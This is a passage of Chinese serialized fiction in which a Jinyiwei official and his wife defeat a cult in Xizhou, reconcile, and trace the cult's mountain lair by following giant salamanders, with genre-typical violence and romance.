独眼和尚在旁赔笑斟酒,眼珠子时不时偷瞄朱炳权怀里软滑如蛇的美人。 铁拐道士站在窗边下望,瞥见黑暗中冲出数百人与教徒兵交战,眼睛一眯,藏在络腮胡下的嘴微微上扬又收紧,待得冲杀声越来越大,他才故作慌张,一瘸一拐走到朱炳权面前道:“府君,不好了,姓萧的有后手,在下面和咱们的教徒杀将起来了。” 朱炳权不以为意,“我知道,一路护送萧远峥来到西州城的有十来个镖师,那些镖师极有可能是锦衣卫,十来个人罢了,我楼下可是安排了七百多人,七百多人对付十来个,还能输了不成,不必惊慌。” 铁拐道士急道:“府君错了,贫道粗略一看就知道不止十来个,得有好几百,贫道猜测,这些人定是萧远峥提前安排潜伏进来的,咱们西州城每日里游客多如牛毛,竟是一点都没防备!” 朱炳权猛地把美人甩开,嚯然起身走到窗边,向下一望,就见多出了一伙青衣人,这些人训练有素,武功高强,打杀他的教徒兵,以一敌二还有剩余。 “不好!”朱炳权脸色铁青,咬牙道:“好个奸滑似鬼的萧青天!” 铁拐道士连忙献计,“府君,照这个势头下去,咱们必输无疑,为防被活捉了去,贫道拼死护送您出城调兵,再回来救援我们教主,您看如何?” 朱炳权怒道:“一个来回,天都亮了,咱们白玉京还没到现世的时候!” 就在这时一个教徒兵浑身是血的扑了进来,以刀拄地,“府君,我们教主、教主被杀了。” 话落,倒地不起。 独眼和尚听罢,眼珠子一转就道:“府君,贫僧下去救教主,幽冥,你保护好府君。” 话落,疾步走出门去,噔噔噔快速下楼而去。 “府君,法藏定是自己跑了,您快拿出个主意吧。” 却原来独眼和尚叫法藏,铁拐道士叫幽冥。 “走!”朱柄权一把推倒座灯,任由灯火点燃帐幔,咬牙道:“从暗梯下去。” “是!” 三楼内,当赵荆阎大忠终于杀上来,就见萧远峥静立于满地尸体之间,浑身血污,手里的刀像在血水里浸泡过,不断往下滴血,而他双目猩红,粗喘如牛,像一头杀气四溢,收拢不住的猛兽。 赵荆看向趴伏在横梁上一动不动的慕容鸾音,张嘴就道:“夫人……” 他一出声,静立不动的萧远峥蓦的看向门口二人,猛地就把刀当见箭用投射了出去。 慕容鸾音杏眸大睁,颤声提醒,“快躲开!” 她自己也因趴伏太久,浑身僵硬,向下滚落。 “峥哥哥——” 赵荆阎大忠瞳孔骤缩,血刀射来之时,一个软下膝盖就地一滚,一个仰身后退绊在门槛上重摔在地。 “嘭”的一声,血刀扎进了门外墙壁。 与此同时,萧远峥听到那声“峥哥哥”,整个人僵硬了一瞬,被杀戮遮蔽了的心窍刺痛了一下,下意识就张开双臂接住了摔下来的慕容鸾音。 慕容鸾音被他紧紧抱在怀里一动不敢动,任由他像狗一样在她颈窝、胸口乱拱乱嗅。 赵荆阎大忠也不敢乱动,就那么看着。 约莫一盏茶后,萧远峥眼中血色慢慢褪去,理智回笼,才感觉到浑身都疼,四肢酸软。 慕容鸾音看见他皱眉,终于又像人一样了,蓦的落泪,抚着他脸颊上一寸多长的血口哭道:“是不是很疼?” 萧远峥闭了闭眼再睁开,轻轻把慕容鸾音放在地上,脚步踉跄起来。 慕容鸾音赶紧扶住他。 赵荆见状,赶忙从地上扶起一把椅子送到萧远峥身后。 萧远峥坐定后就有气无力的道:“苏逢生那边如何了?” “杀了大半。”苏逢生喘着粗气爬上来,一屁股坐到门槛上,看着满地尸体就笑道:“今夜我真正服你了。” 就在这时两个锦衣卫来禀报说四楼起火,烧起来了。 萧远峥当即抬手一指死在屏风上的朱梵山,道:“赵荆阎大忠,你们二人扛上这具光膀子的尸体,咱们即刻退出菊王阁。” 二人立时跪地拱手,高声应“是”。 萧远峥气沉丹田,攒了攒力气,在慕容鸾音面前半蹲下就道:“上来,咱们走。” 慕容鸾音不敢耽误,慌忙伏到他背上,搂紧他脖子。 那边厢,幽冥道人和朱柄权,一人一骑向城外逃去,天蒙蒙亮时到了迷津湖畔驿站。 幽冥道人禁不住问道:“府君,咱们这是要去哪儿?” “自然是去白玉京。” 幽冥道人听了,苍老的身躯隐隐颤抖起来,“贫道、贫道只是一介仙使,贱足也能踏入白玉京吗?府君、府君这是真的吗?” 朱炳权见他激动的那个死样子,挺起胸膛斜睨他道:“患难见真心,你通过了本府君的考验,本府君破例一次便是了,待得见了仙父,我会请他老人家赐你长生丹。” 幽冥道人立时翻身下马,跪地磕头,激动的哭起来。 “行了行了,别耽误事儿,此处还不安全,进了白玉京随便你。” “是、是!” 天光大亮时,萧远峥拿着尚方宝剑,带着苏逢生等锦衣卫占领了布政使司,抓了布政使余秉信,知府黄道生。 胡狸孟凡尘带着援兵赶到西州城门口,甫一看见城墙上竖起的明黄色金龙旗,都禁不住狂喜。 至午后,八府巡按的仪仗也到了西州城。 萧远峥对西州城重新布防,仅用一日就把西州城控制在了自己手里,这才安下心来让慕容鸾音帮他治疗身上伤口。 慕容宅,东厢房。 萧远峥沐浴后,光着膀子坐在床沿上,乌发披散,垂着眼不看慕容鸾音。 他身上,伤口多在两条臂膀上,后背也有,但因穿着金丝软甲,伤口较浅,他自己沐浴时不知怎么搓洗的,血痂全都又破了,正向外渗血。 慕容鸾音抿着唇给他敷金疮药,药粉撒进伤口他就“嘶”声蹙眉。 慕容鸾音置若罔闻,只把唇瓣咬住,打定主意他不开口,她就不开口,更对他身上烙痕视若无睹。 待得慕容鸾音给他手臂上较深的伤口都缠上白布条包扎好,这才看向他左边腮上一寸多长的伤口。 慕容鸾音把药瓶递给他,“脸上你够得着,也更方便,自己上药吧。” 萧远峥缓缓盯住慕容鸾音,扣住她腰肢,张开两腿,把她夹在中间,故作虚弱道:“手臂疼的抬不起来,还是你来吧。” 当他的两只手贴在她腰上时,她蓦地想起他徒手抓爆朱梵山血管的那个画面,身子顿时僵住。 “你……怕我?”萧远峥顿觉胸口闷痛。 卧房内寂静的落针可闻,灯花忽的“爆”了两个。 慕容鸾音见他此时竟惶然无措的像个做错事的孩子,心中既酸涩 又疼痛,禁不住就红了眼睛,“我只是在想,我终于知道你为什么会改变,我终于知道舅外祖为了锻炼你成才,对你是何等的冷酷残忍,我终于知道,是谁对你用了烙刑,是舅外祖对吗?” 一边说着,一边捻出药粉来往他伤口上轻轻按压。 萧远峥不答,收紧手臂,将她完完全全搂贴在自己怀里,埋首在她胸前,贪婪嗅闻、亲吻。 慕容鸾音被他勒的喘不过气来,红着眼睛气道:“又是这样、又是这样,你不如永远做个哑巴算了! 第53章 第053章称量爱意攻守之势异也…… “萧远峥!”慕容鸾音蓦地捏住他手臂上那道最深的伤口,“这一次,你别想糊弄过去,你给我一个解释。” 萧远峥没防备她会下狠手,一下子疼的额上冒冷汗,搂在她腰肢上的手臂控制不住的松开了。 慕容鸾音后退两步,把手中金疮药放到梳妆台上,自己也稳稳的坐下,“我曾偷听到萧远岱和他的小厮说话,萧远岱逛青楼,本想找的是红姑娘,结果那红姑娘身子不适伺候不得,鸨母就把一个绿姑娘推给他了,他就说这个绿姑娘他不喜欢,对于不喜欢的这一个,气味、声音都是难以忍受的,联想到你那时与我行房时总是、总是那般无情模样,我便以为你也把我当作了绿姑娘对待,我深感羞辱,亦如当头棒喝,令我彻底清醒,我开始一点一点的收回对你的爱意,但你应是察觉了,反而贱兮兮的黏上来挽回。” “原来是他。”萧远峥看着血水慢慢浸透臂上白布,怒不可遏。 “根本上和他没关系。”慕容鸾音深吸一口气接着道:“我本不想再探究你心里是怎么想的,但从京城到西州,又经过昨夜菊王阁内共度一回生死劫难,在看着你被那么多杀手围攻时,我怕极了,怕你会死,当一想到你会惨死在我面前,我心痛难抑,我便知道,我曾在你身上倾注了太多太多的爱意,若想完全收回,还需很多年,现在,我给你一个机会,你有什么想和我说的吗?” 萧远峥缓缓捏住沁血的伤口,让疼痛使自己狠心,嗤笑道:“又是你哥哥教的吗,让你把对我的情爱拿出来称量,给的多了吃亏,就要威胁我收回。” 慕容鸾音从满眼希冀到失望,到心冷,长叹一口气,亦嗤笑道:“幸好、幸好我没有自作多情,我还以为你是为了保护我才克制不爱我呢,得了你这句话我就好办了。那么,从此以后,我们两家还是婚盟的关系,嫡长子还是要生的,待得回京后我会再找一个凭几放在床尾柜上,你以前与我行房的姿势就挺好的,我们这样的盟友关系,不必再有亲昵举动,不合适。” 话落,慕容鸾音站起来,淡淡道:“你受伤了,这里让给你睡,我早已让丫头把隔壁院子收拾了出来,你早些歇着吧。” 一边说着一边就向外走去, 床榻前摆着一张红木雕花茶桌,二者之间的距离只容一人通过,慕容鸾音从中经过时,生怕碰到坐在床沿上的他,特特收拢大袖,避开他的膝盖,贴着茶桌走了过去。 清幽的香气一霎靠近又远离,他的手比他的脑子更快一步,一把抓住慕容鸾音的手臂,哑声道:“别走。” 慕容鸾音冷笑道:“还请萧世子放手,盟友可不负责给你呼呼伤口,对你温柔解语。” 萧远峥蓦地把她拽到怀里,一臂环住她的身子,一手捧着她的脸就强吻起来。 “呜……” 慕容鸾音得不到他的回答,如何肯乖乖就范,被撬唇齿时,顺势放他舌尖深入,猛地就咬了一口。 萧远峥吃疼,却只是顿了一下,和着那一丝血腥味一块吻她唇舌,可只是一个吻却治不好他心里升起的恐慌,他迫切的想和她融为一体。 慕容鸾音抵抗不得他的力气,就按着自己的裙子哭起来。 她哭的他心慌,迫使他再也控制不住自己,吻她泪水涟涟的眼睛,“我做的还不够明显吗?你身上的香气,只恨闻不够。至于声音,你是指我在你身上弄出来的声音吗?你乖,把手从裙子上拿开,我让你彻底明白一回。” 慕容鸾音终于听到他亲口的解释,心知今夜也就只能逼出这一点了,就哽咽道:“你受伤了,会疼……” “皮肉的一点疼算什么,我早习惯了。” 萧远峥听她终于又关心他了,心里的恐慌稍减却只觉不够,迫不及待把帐帘扯了下来。 门外,慕容韫玉原本听到一点慕容鸾音的哭声,还以为他们夫妻吵架,萧贼把他妹妹吵哭了,怒气冲冲踏上石阶,正要敲门质问,忽听得莺声呖呖,脚下一个趔趄,捂着耳朵跑了,心想,白担心了,这萧贼定是伤的不重。 深秋夜寒,东厢房锦绣花帐内却是暖香融融,旖旎情浓。慕容鸾音撑着酥软的身子跪在他两腿之间,为他重新包扎好伤口就一点力气都没了,倒在他肩上微微娇喘。 萧远峥抱住她软下来的身子,以鼻尖噌弄她热热的耳垂。 “方才,我可有向你证明清楚?” 慕容鸾音抬起身子睨他,不言语。 萧远峥见她,杏眼里汪着春水,眼尾晕红,余韵未消,心里爱极了,便又吻她香唇。 慕容鸾音因着逼出了他一个答案,便觉胜了一回,抚着他胸前烙痕,心疼不已,便主动容纳,任由他恣意怜爱了一夜。 翌日清晨,慕容鸾音醒来时,一摸身畔锦褥已是冰凉。 碧荷冬青听见她起身的动静,都笑着进来服侍。 “他呢?” 碧荷笑道:“世子爷临走时让告诉您,他到布政司升堂审案去了,您若是醒了想去旁听就去寻他,还把赵荆和阎大忠留给您了,又说,若是不想听案子,带着他们两个在这西州城内逛逛也使得。” 慕容鸾音低头洗了把脸,接过冬青递来的棉帕擦脸,唇角禁不住上扬。 这时只听帐幔外传来慕容韫玉的说话声,“太阳晒屁股了,快起来扒拉两口饭,咱们一块去看妹丈审案去,你是不知道,我听下人说,妹丈在布政司门外立了个木架子,把个邪教头头的尸体挂上去了,发布悬赏,谁能说清楚尸体的来历奖千两银子,又听说抓了姓朱的一族,这会儿满城里就布政司门口热闹。” 慕容鸾音快速匀面,梳头,随手挑了一只红玉镯子戴在手腕上就走了出去。 就见慕容韫玉正从食盒里往外拿早点,有芝麻甜饼、红豆粥,还有三丝春卷,小肉包。 慕容鸾音坐下先喝了两口粥,就问碧荷道:“你们世子爷早上走时吃早饭了没有?” 慕容韫玉立时就哼哼起来,“你怎么不问我吃了没有?” 慕容鸾音吐吐舌头,仰起小脸乖笑,“哥哥吃了没有?” “气饱了。”慕容韫玉夹起一个小肉包塞她嘴里,“跟哥哥说句实话,你和妹丈究竟怎么样了?” 慕容鸾音慢条斯理吃完小肉包才笑眯眯反问道:“哥哥,凭良心说,你觉得萧远峥这人怎么样?” 慕容韫玉一噎,不情不愿道:“除了抢我妹妹这一条,他为人、为官、做亲戚都没得挑,长得也还行,也不似其他公侯子弟那般不管香的臭的到处沾花惹草,总之,说句良心话,你倘若真与他和离了,再想找个和他差不多的,不好找。” 慕容鸾音笑着点头,“是的,我想好了,我们两家的关系,我是注定要与他纠缠很久的,既如此,我就要做东风。” 慕容韫玉反应了一会儿才明白过来,“东风压倒西 风的东风?” “嗯。” 慕容韫玉打量慕容鸾音一回,见她满面红光,一副胜券在握模样,顿时笑问道:“攻守之势异也?” 慕容鸾音不答,只是笑。 慕容韫玉心里便清楚了,也笑起来。 那边厢,布政司门口已是聚满了人。 萧远峥先审了张庭春和其妻马氏、其女张如翠,从这一家人嘴里得知,有个极乐圣境,这极乐圣境里面住着一位仙父,尊称为迦楼罗王。还有个夜王,是从什么炉子里走出来的。 萧远峥冷着脸一拍惊堂木,“可还有遗漏的?” 马氏连忙又道:“奴家还听见一句,‘什么他爹算一头鲸,他算不算?’‘只许成功’,那意思好像是杀一头鲸就能升为仙王。” 萧远峥心想,这与在菊王阁门外收缴的那面写着“鲸落楼”的旗对上了,也与母亲的死对上了,母亲就是死在“鲸落楼”,白玉京的目标也不是母亲,而是父亲。 马氏跪地哭道:“这回真的没有了,求青天大老爷明察秋毫,奴家母女真没干什么伤天害理的事情,我们就是卑贱的浮萍野草,自从被自家男人威逼着推出去落入下三滥的行当,已是没脸没皮,只为了活命罢了。” “暂时收押,留待对证,问询。” 当下便有两个锦衣卫上来,把张庭春一家三口押了下去。 慕容韫玉慕容鸾音兄妹到时,就见石狮子旁边果然立起了一个木架子,架子上把一具光膀子的尸体绑成个“大”字形,看热闹的都不敢凑太近,偶尔有胆子大想赚取悬赏金的看两眼不认识又走了。 这时一个白发苍苍的老翁拄着竹仗走了过去,盯着尸体的六指看了又看,留下两行泪来。 苏逢生原本正与慕容韫玉寒暄,抬头一看那老翁脸上神情,立时走过去,谦和道:“这位老人家,您贵姓?” 老翁长叹一口气,“和他一个姓。” 第54章 第054章鲵鱼知道(一)…… 原来那老翁叫朱敬地,几十年前与朱氏主支分了宗,按辈分算,朱敬地是朱柄权朱梵山兄弟的叔祖父。 而分宗也是为了避祸,他是看见城墙上竖起了代表皇帝的明黄色金龙旗才大着胆子来认尸。 朱敬地有个亲兄长叫朱敬天,西州城的人都只知道朱敬天只有一个儿子叫朱磷,实际上他曾经还有个儿子叫朱粲,七月半鬼节降生,生来六指,说来也怪,自从这孩子降生,家里一直波折不断,因朱敬天厌恶这个孩子,这孩子就时常受磋磨,朱敬地每次遇见了就会给他弄些吃的。 这年朱粲五岁,七月半这日朱敬天酒醉夜归,撞了鬼摔下马来,险些丢命,朱敬天就认为是朱粲克他,疑神疑鬼,遂请来一位算命先生,算命的就说,朱粲乃是趁着鬼门开时自十八层地狱逃出来的恶鬼,倘若继续留在家里会克死全家。 朱敬天怕了,忽一日把朱粲带了出去,天黑以后只他自己回来了。过了两日,朱敬地才知道,朱敬天把朱粲带进荡寇山扔了。 才五岁的孩子,被扔进山里两日,全家都默认定是被野兽吃了。 然而,十五年后的一个深夜,宅子里进来一个野兽般的男人,这人把年老的朱敬天活活摔死,把朱磷的脖子咬断,掳走了朱磷的妻子吕氏。 朱敬地第二天发现兄长一家惨死就立即报了官,但没什么用。半年后,吕氏大着肚子回来了,带回了一封信,他才知道十五年前扔掉的那个孩子没死,是他回来报仇了。 朱敬地深怕自己也会被活活摔死,就按照信上说的,把朱氏的全部家产都交给了吕氏,自己带着一家人从城南搬到了城东,从此不和吕氏来往。又过半年就听说吕氏生下了一对双胞胎儿子,他知道,那是朱粲的儿子。但他什么都不敢说。 “我方才靠近那具尸体,细细看了一回,他也是六指,那就没错了,朱粲也是六指,是他的儿子没错。” 萧远峥已把朱柄权这一族了解过了,知道吕氏六年前就死了,于是问道:“吕氏带给你的那封信还保存着吗?” 朱敬地摇摇头,“哪里敢留存,看过之后,我当着吕氏的面就烧了。” “那你可记得那封信上有什么特殊的标记?” 朱敬地立时就道:“有。我记得清清楚楚,信脚上印着一座楼阁,和菊王阁有些相似。一般人的花押都是用红色印泥印出来的,那封信上的花押是泛着淡青色的白玉色,十分特殊。” 萧远峥心想,这封信和姑祖父收到的那封信上的花押对上了,看来朱粲被扔到荡寇山后被白玉京的人捡了去。 荡寇山……荡寇山…… 萧远峥蓦地想起银发女妖尸身上,那位仙王写下的五个字“吾在此山中”,莫非那位仙王不是挑衅,而是在告诉他,白玉京老巢在荡寇山? 想到此处,萧远峥脸色微变,嚯然站起。 朱敬地还以为自己说错话了,吓的连忙颤颤巍巍往地上跪去。 萧远峥抓起钱袋子走下审案台,亲自把他搀扶起来,把赏银交到他手里,安抚两句,指派两个锦衣卫送他回家。 苏逢生见他脸色有异,就问道:“大人,可是有什么发现?” 此时门外聚集着许多听审的百姓,萧远峥怕有白玉京的人混在其中,就道:“把昨夜抓起来的俘虏头目带上来,接着审。” “是。” 萧远峥想的却是,荡寇山是绵延数十里的群山,假设白玉京老巢真的在其中,若想找出来,最妥当的法子是大规模搜山,就需要耗费大量的物力人力财力,财力这方面可以把朱柄权和朱梵山两家抄了,人力方面可以用御赐金牌调兵。 但前提是,找到人证或物证,证明白玉京老巢真的在荡寇山,如此,才好发动人马搜山,否则功亏一篑,他回京也不好交代。 若朱柄权朱梵山这对兄弟的生父是朱粲,那么朱粲应该就是他们口中的仙父,是迦楼罗王,极乐圣境的主人,从马氏张如翠母女口供中得知,里面有仙娥,也即是说,这老巢内必有很多人,这些人不可能全都茹毛饮血,必然要吃粮食,要吃粮食就得有人运粮进山,就得有一条粮道。 那么朱柄权朱梵山手底下这些人,哪些最适合运粮呢?自然要令行禁止的,嘴严的。 就在这时苏逢生带着锦衣卫押了四个男人上来,其中三个是百户,一个是千户,名叫吴开山。 萧远峥垂袖背手,俯视他们,冷冷道:“你们卫指挥使朱梵山已死,尸体就挂在外头的木架子上,我现已查明朱梵山是邪教白玉京的头目,我奉旨剿灭邪教,凡是教徒杀无赦,尔等于前日深夜参与刺杀我,是知情的邪教徒吗?” 吴开山冷笑,梗起脖子就道:“老子就是白玉京的仙使!狗官,你要杀就杀!” 萧远峥冷牵唇角,“锵”的一声拔出苏逢生腰间绣春刀,“诸位看客请闭眼。” 待得看见站在最前面的慕容韫玉把慕容鸾音的眼睛捂上了,萧远峥一刀就扎穿了吴开山的心窝。 吴开山瞳孔骤缩,“你……” 萧远峥出手干净利索,一个眨眼的功夫,就又把刀还给了苏逢生。 吴开山轰然倒地,呕出大量的血,浑身抽搐几下就大睁着眼睛咽气了。 把旁观的三个百户吓的抖若筛糠,其中一个还尿了裤子。 看热闹的百姓原本还议论纷纷,此时鸦雀无声,个个面带恐惧的看着萧远峥。 “拖下去,挂到朱梵山旁边,以儆效尤。” 即刻便有两个锦衣卫上前把吴开山的尸体拖拽了下去。 慕容鸾音扒开慕容韫玉遮挡在她眼前的大手,看着地上拖拽过的血痕,又看向萧远峥,只觉得他似是有些急切,才用上了如此雷霆手段。 尿裤子的 百户以头抢地,哭嚎道:“大人,卑职认罪,但是卑职不知道什么白玉京,卑职加入的邪教是弥勒教,是迫不得已才加入的,自从慕容青云死在西州城,我们这些当兵的就领不到军饷了,卑职有一家老小要养活,谁给发军饷发军粮我们就听谁的,为了活命,真的没法子啊。” “加入弥勒教之后都做过什么,从实招来!” 百户哭道:“我也不想的,可是只有听令行事才给发军饷。” 萧远峥冷冷道:“快说你都接到过哪些军令!” “那些上了美人榜的美人,吴千户发给我们住址让我们去偷掳美人,还、还偷挺着大肚子的妇人。” 萧远峥紧盯着他,厉声喝道:“偷掳这些美人和妇人都送到何处去?” “和、和粮食一起运到荡寇山。” 萧远峥攥紧的拳头缓缓松开,淡淡道:“你可知道那条粮道?” 百户连忙点头,“知道。卑职可以带大人走一遍将功赎罪。” 另外两个百户一听,纷纷争抢道:“卑职也知道,卑职也愿意将功赎罪!” “可。” 从抄检朱柄权和朱梵山的家,到调兵,就用了两日,粮草筹备齐全之后,至第三日,一支两千人的军队就到了荡寇山山脚下驻扎。 萧远峥怕西州城内仍旧潜藏着白玉京的人,就把慕容鸾音兄妹带在了身边。 此前在迷津湖畔驿站歇宿时,此驿站只有一个驿丞,驿丞就是个相貌平庸的鳏夫,沉默寡言,十分不起眼。 可是当确定了白玉京老巢就在荡寇山,那么位于荡寇山山脚下的驿站驿丞就很值得怀疑了。 果然,萧远峥带兵再来时,就发现那驿丞不见了踪影,驿站内空无一人。 日落西山,三个百户带着萧远峥终于走到了粮道的尽头,那是一片乱石林。 “回大人,吴千户每次就让我们把粮食美人卸在这里,然后就带领我们返回了。” “对对对,卑职有一回多嘴问了一句,把美人扔在这里被野兽吃了岂不可惜,吴千户就说那也不关我们的事儿,自会有人及时来抗走。” 彼时,迷津湖畔,驻扎在这里的兵卒们已是开始埋锅造饭。 慕容鸾音带着碧荷冬青住在驿站里,也开始在厨房里做饭。 袅袅炊烟腾空而起,深入长空。远天之上,有两个模糊的黑影盘旋。 慕容韫玉听着从山中腹地传来的兽吼声,禁不住打个寒颤,走进厨房,见慕容鸾音正把从城里买的白玉糕装盘,走过去拿起一块就吃,边吃边道:“这驿站凑合着歇一夜还罢了,多住几天就觉瘆得慌,半夜从山里头下来山魈妖怪可怎么办?” 慕容鸾音听他如此说,也禁不住打个冷颤。 这时萧远峥出现在门口,“鬼来杀鬼,妖来诛妖。大哥若是怕了,我可安排人送大哥先行回京。” 慕容韫玉连忙道:“那不行,这是离白玉京最近的一次,我要亲眼看着这谋杀祖父的邪教被你剿灭!” 慕容鸾音连忙上前问道:“如何,找到了吗?” 萧远峥摇摇头,“白玉京太狡猾了。” 第55章 第055章鲵鱼知道(二)…… 天色完全黑下来以后,一座座山头笼罩在苍白的月色之下,像一头头沉睡的巨兽。 到了深夜,山风呼啸,夹杂着仿佛鬼哭狼嚎一般的声音,若是一个人在此,怕是早吓的瑟瑟发抖,但彼时,山脚下驻扎着两千多士兵,一个个军帐紧挨在一起,里头睡着的都是年轻力壮的男儿,呼噜声震天响。 苏逢生带着一队锦衣卫绕着军营与驿站巡逻,听着这些呼噜声,就觉得胆气壮。 驿站内,萧远峥与慕容鸾音同床共枕,慕容鸾音睡着了,自觉的贴紧热源。 萧远峥侧身躺着,将她整个身子都笼在怀内,估摸着到时辰了,就轻吻了吻她侧脸,掀被起身,拿来她的柿红色彩蝶斗篷压在上面,自己则穿戴一番走出门去与苏逢生换岗。 一夜无事。 翌日,萧远峥以驿站为中军大帐,指挥士兵搜山,暂无他法,只能一座山一座山的搜。 迷津湖是由山上流下来的溪水汇聚而成。 日光落在水面上,波光粼粼。 慕容鸾音知道搜山用不上自己,可白白坐在驿站里等搜山结果又焦虑,就带着碧荷冬青到湖边乱逛,偶然发现了一小片紫皮石斛,就问赵荆借来一把飞刀挖起草药来。 萧远峥走出驿站,注视着不远处的慕容鸾音,这时苏逢生回来了,先是走进驿站咕嘟咕嘟喝了一壶水,解了渴后走到萧远峥身边,开口就道:“半日过去了,才翻了两个山头,可这荡寇山绵延数十里,山头峰峦数不清,我们却只有十天的粮草,这样下去不是办法。” “知道。”萧远峥背在身后的手攥紧又松开,松开又攥紧,“先搜满十日再说,粮草用尽了就再想法子。” 与此同时,远空盘旋的两团黑影逐渐变大,萧远峥蓦地就看见两只巨禽俯冲而下,扑向湖畔的慕容鸾音主仆。 慕容鸾音身上罩着柿红色彩蝶穿花羽缎斗篷,日光下红彤彤最是醒目。 “阿音——” 萧远峥目眦欲裂,拔足狂奔。 然而,飞鹰捕兔,迅疾如电,便是护卫在侧的赵荆阎大忠都抢救不及,赵荆眼疾手快射出飞刀,一刀射中抓住慕容鸾音的那只巨禽的翅膀,巨禽失去平衡,冲天而起飞了一半又扑棱着翅膀落向湖面,低空盘旋。 巨禽的两只利爪勾住的是慕容鸾音后背的斗篷,这会儿她被摇摇晃晃悬吊在湖面上,她在最初的惊惧过后,听得萧远峥那道撕心裂肺的呼喊声,回过神来,手里攥紧飞刀,仰起头,对着巨禽的腿就拼命砍杀起来。 一滴血落在她脸上,巨禽长啸一声蓦地松开两爪,“撕啦”一声斗篷裂开,慕容鸾音“噗通”一声掉进了水里。 萧远峥涉入水中,急切的向慕容鸾音奔去,初时水浅到小腿,慢慢的到腰腹,待得他发现水深只到腰腹时,顿时大喊提醒,“阿音别怕,水不深,你尝试站起来。” 前面的慕容鸾音哪里听得进去,她从半空坠落早已吓坏了,在水里乱噗通,待得双脚碰到一团软乎乎的东西,顿时吓的花容失色,尖声大叫。 她越是惊慌恐惧,挣扎的越厉害,两脚又踢又踹,水底那东西被踢的翻肚皮,受到惊吓也大叫起来。 萧远峥听得慕容鸾音惊恐的叫声,也吓坏了,终于游到她身边,一把抱住,一遍一遍喊她名字。 慕容鸾音似抓住救命稻草,整个人八爪鱼似的扒住萧远峥,大哭道:“有蛇!” 萧远峥把慕容鸾音抱在怀里,心稍定,这才听见水下类似婴儿的啼哭声。 “阿音闭嘴。”萧远峥蓦的捂住慕容鸾音的嘴,定睛看向水下,竖耳细听。 慕容鸾音“呜呜”两声,见他脸色严肃,顿了顿,忽的也听见了。 四目相对,萧远峥松开手,慕容鸾音就低声道:“这个叫声有些熟悉。” 萧远峥点头,“水下不是蛇,是一条大鱼,水不深,你站好。” 待得慕容鸾音在水中站稳,萧远峥缓缓沉入水中,追着那条大鱼游去。 这时苏逢生、赵荆阎大忠、碧荷冬青全都涉水到了近前,慕容鸾音连忙对他们打手势,让他们站住不动。 紧接着,慕容鸾音就看见一丈远处水花四溅,萧远峥两手掐住一条大鱼站了起来。 那大鱼红棕色,又肥又长,还长了四肢,像壁虎。 此时被萧远峥掐住,挣脱不得,张着又宽又扁的大嘴哇哇疯叫。 慕容鸾音顿觉瘆得慌,“这是什么东西?” 萧远峥却眉眼舒展,看向苏逢生,“苏兄,也许用不了十日,我们就能找到白玉京老巢了。” 这时山风拂来,凉意沁骨,慕容鸾音猛地打了两个喷嚏。 萧远峥连忙道:“上岸再说。” 荡寇山深处,峡谷溶洞之内,隐隐有婴孩啼哭声、水流声。 溶洞深处,一条笔直的白石桥尽头,矗立着一座玉石山,山被掏空,建成了一座白玉楼。 白玉楼下,用汉白玉石铺成一个八卦阵盘,阵眼中央设着一张宝座,宝座雕刻成了一头蹲踞的饕餮形状。 彼时,一个须发如雄狮,身形高大如猿的男人,正坐在宝座上,手里捏着一个正在跳动的心脏,撕咬下一块,咀嚼两下就吞咽入肚。 在他脚边躺着一个面庞稚嫩的女子,大睁着眼睛,瞳孔扩散,胸腔破了一个洞,血肉模糊。 一侧站着两个人,一个是脑满肠肥的朱炳权,一个是拄着铁拐的幽冥道人。 汉白玉石八卦盘边缘,水边,背对他们坐着一个少年,少年一头银发铺地,正撕碎白馒头往水里撒。 水中聚集着几头大鱼,有黑褐色,有红棕色,个个肥硕,长着如同壁虎一般的四肢。 争抢馒头碎屑时,相互撞击,发出哇哇啼鸣声,弄的水声哗哗。 “夜王,你怎么还有闲心喂鱼!”朱炳权愤然怒瞪夜王一眼,随即两手交叉放在胸前,抬头看着宝座上的朱粲道:“仙父,夜王又失败了,他的白腹蛇雕没能把慕容氏抓回来,接下来怎么办?任由军队这么搜下去,迟早会找到我们这里。” “你过来,到为父身边来。” 朱炳权看着朱粲脚边的女尸,额上开始冒冷汗,少顷,“噗通”一声跪地,一头磕在地上,“仙父饶命,不是儿子觊觎您的王座,是弟弟想,弟弟想要吃了您做迦楼罗王,儿子只当他是说着玩的,没当真。” 幽冥道人见状,赶忙撂下铁拐,笨拙的跪下了,“仙王容禀,现如今不是追究这个的时候,还是想法子对付山下的官府士兵要紧,依、依属下浅见,两位仙王虽有神通,但、但……” 背对他们的夜王发出一声嘲笑,“但是什么?你怎么不敢说了,你不敢说,本王替你说,就譬如本王的神通,驭使仙奴,沟通鸟兽,若遭遇军队横推,必然会被碾成肉泥,譬如迦楼罗王,习得了猿猴在森林中捕猎的本事,遭遇军队,被万箭齐射,也必死无疑,你是想让我们放弃极乐圣境,逃离此处,是也不是?” 幽冥道人跪在那里瑟瑟发抖,“留得青山在不愁没柴烧,属下生是白玉京的仙,死是白玉京的鬼,一片忠心,天地可鉴。” 夜王拍拍屁股站起来,“幽冥道人,你这个浅见,本王采纳了,你随本王走吧。” 话落,吹一声口哨,便有个猿猴似的仙奴走到他身后,将他扛在肩膀上。 “鲲,走吧,去向仙主请罪。” 幽冥道人一听“仙主”二字,着急忙慌架起铁拐,一瘸一拐就跟了夜王而去。 “幽冥!”朱炳权暴喝一声,冷笑道:“我弟弟死了,我就是你的主人,你是我饕餮族的仙使,你敢背叛,即刻把你扔下万蛇窟!” 幽冥蓦的顿住脚,望着银发少年的背影,几不曾把牙齿咬碎,缓和了好一会儿才跪下请罪。 就在这时有仙奴来报,军队进了峡谷入口,正顺着溪流找上来。 朱炳权急的跳脚,“仙父!” “你去长生洞拿上我炼制好的长生丹,随夜王去吧。” “您老人家打算怎么办?” 朱粲吞下的生肉蓦的吐了出来,连着吐出了一颗牙,“老皇帝养的这条小狗,太聪明了,鼻子太灵了,对仙主的威胁太大了,我得把他弄死在这里,记住我就是仙主,极乐圣境被剿灭,就是白玉京被剿灭了,时机未到,白玉京绝不能现世。” “父亲……” 幽冥见状,赶忙上去拉扯朱炳权,“府君,不是悲伤的时候,再不走就被一锅端了,快些拿上长生丹,咱们追夜王去。” 却说萧远峥,抓到那条鲵鱼之后,听到鲵鱼的叫声和遭遇的白狐、黑猫的叫声相似,就推断出,这白玉京培育仙奴的地方必有这种鱼出没,由此,那些似人非人,似兽非兽的仙奴才跟着学会了这些鲵鱼的叫声。 又推想,迷津湖是从山上流下的溪水汇聚而成,这条鲵鱼必然也是顺着溪水游下来的,即刻便把搜山的士兵都召了回来,让士兵们顺着溪水溯源而上,就找进了峡谷。 第56章 